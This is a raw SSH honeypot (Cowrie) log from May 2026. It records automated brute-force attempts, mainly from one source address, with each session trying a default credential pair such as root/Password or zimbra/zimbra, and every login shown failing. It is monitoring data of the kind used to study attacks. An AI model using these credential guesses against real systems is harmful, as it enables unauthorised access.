{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:07.477992Z","src_ip":"192.109.200.237","session":"c28a599f1e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:07.727741Z","src_ip":"192.109.200.237","session":"c28a599f1e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:08.814230Z","src_ip":"192.109.200.237","session":"c28a599f1e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41558,"dst_ip":"159.203.135.109","dst_port":22,"session":"539b9edfe272","protocol":"ssh","message":"New connection: 192.109.200.237:41558 (159.203.135.109:22) [session: 539b9edfe272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:10.441054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:10.445994Z","src_ip":"192.109.200.237","session":"539b9edfe272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:10.528826Z","src_ip":"192.109.200.237","session":"539b9edfe272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:10.774948Z","src_ip":"192.109.200.237","session":"539b9edfe272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:11.859465Z","src_ip":"192.109.200.237","session":"539b9edfe272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41560,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3cfc442cc97","protocol":"ssh","message":"New connection: 192.109.200.237:41560 (159.203.135.109:22) [session: c3cfc442cc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:13.495954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:13.500872Z","src_ip":"192.109.200.237","session":"c3cfc442cc97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:13.587154Z","src_ip":"192.109.200.237","session":"c3cfc442cc97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:13.834824Z","src_ip":"192.109.200.237","session":"c3cfc442cc97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:14.920073Z","src_ip":"192.109.200.237","session":"c3cfc442cc97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41576,"dst_ip":"159.203.135.109","dst_port":22,"session":"91dc261d1f12","protocol":"ssh","message":"New connection: 192.109.200.237:41576 (159.203.135.109:22) [session: 91dc261d1f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:16.506632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:16.512603Z","src_ip":"192.109.200.237","session":"91dc261d1f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:16.729378Z","src_ip":"192.109.200.237","session":"91dc261d1f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:17.003727Z","src_ip":"192.109.200.237","session":"91dc261d1f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:18.094181Z","src_ip":"192.109.200.237","session":"91dc261d1f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41582,"dst_ip":"159.203.135.109","dst_port":22,"session":"6efa45bd3e9b","protocol":"ssh","message":"New connection: 192.109.200.237:41582 (159.203.135.109:22) [session: 6efa45bd3e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:19.736585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:19.741948Z","src_ip":"192.109.200.237","session":"6efa45bd3e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:19.830107Z","src_ip":"192.109.200.237","session":"6efa45bd3e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:20.080419Z","src_ip":"192.109.200.237","session":"6efa45bd3e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:21.172055Z","src_ip":"192.109.200.237","session":"6efa45bd3e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33066,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a0afae8e004","protocol":"ssh","message":"New connection: 192.109.200.237:33066 (159.203.135.109:22) [session: 0a0afae8e004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:22.843159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:22.848449Z","src_ip":"192.109.200.237","session":"0a0afae8e004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:22.931522Z","src_ip":"192.109.200.237","session":"0a0afae8e004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:23.179674Z","src_ip":"192.109.200.237","session":"0a0afae8e004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:24.383597Z","src_ip":"192.109.200.237","session":"0a0afae8e004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33082,"dst_ip":"159.203.135.109","dst_port":22,"session":"58341087f4b2","protocol":"ssh","message":"New connection: 192.109.200.237:33082 (159.203.135.109:22) [session: 58341087f4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:25.964768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:25.969578Z","src_ip":"192.109.200.237","session":"58341087f4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:26.055592Z","src_ip":"192.109.200.237","session":"58341087f4b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:26.301648Z","src_ip":"192.109.200.237","session":"58341087f4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:27.386700Z","src_ip":"192.109.200.237","session":"58341087f4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33094,"dst_ip":"159.203.135.109","dst_port":22,"session":"145dcaac946f","protocol":"ssh","message":"New connection: 192.109.200.237:33094 (159.203.135.109:22) [session: 145dcaac946f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:29.171805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:29.176815Z","src_ip":"192.109.200.237","session":"145dcaac946f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:29.259459Z","src_ip":"192.109.200.237","session":"145dcaac946f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:29.655514Z","src_ip":"192.109.200.237","session":"145dcaac946f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":35696,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2da9138f581","protocol":"ssh","message":"New connection: 62.133.63.178:35696 (159.203.135.109:22) [session: a2da9138f581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:30.281435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:30.287194Z","src_ip":"62.133.63.178","session":"a2da9138f581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:30.420104Z","src_ip":"62.133.63.178","session":"a2da9138f581","protocol":"ssh"}
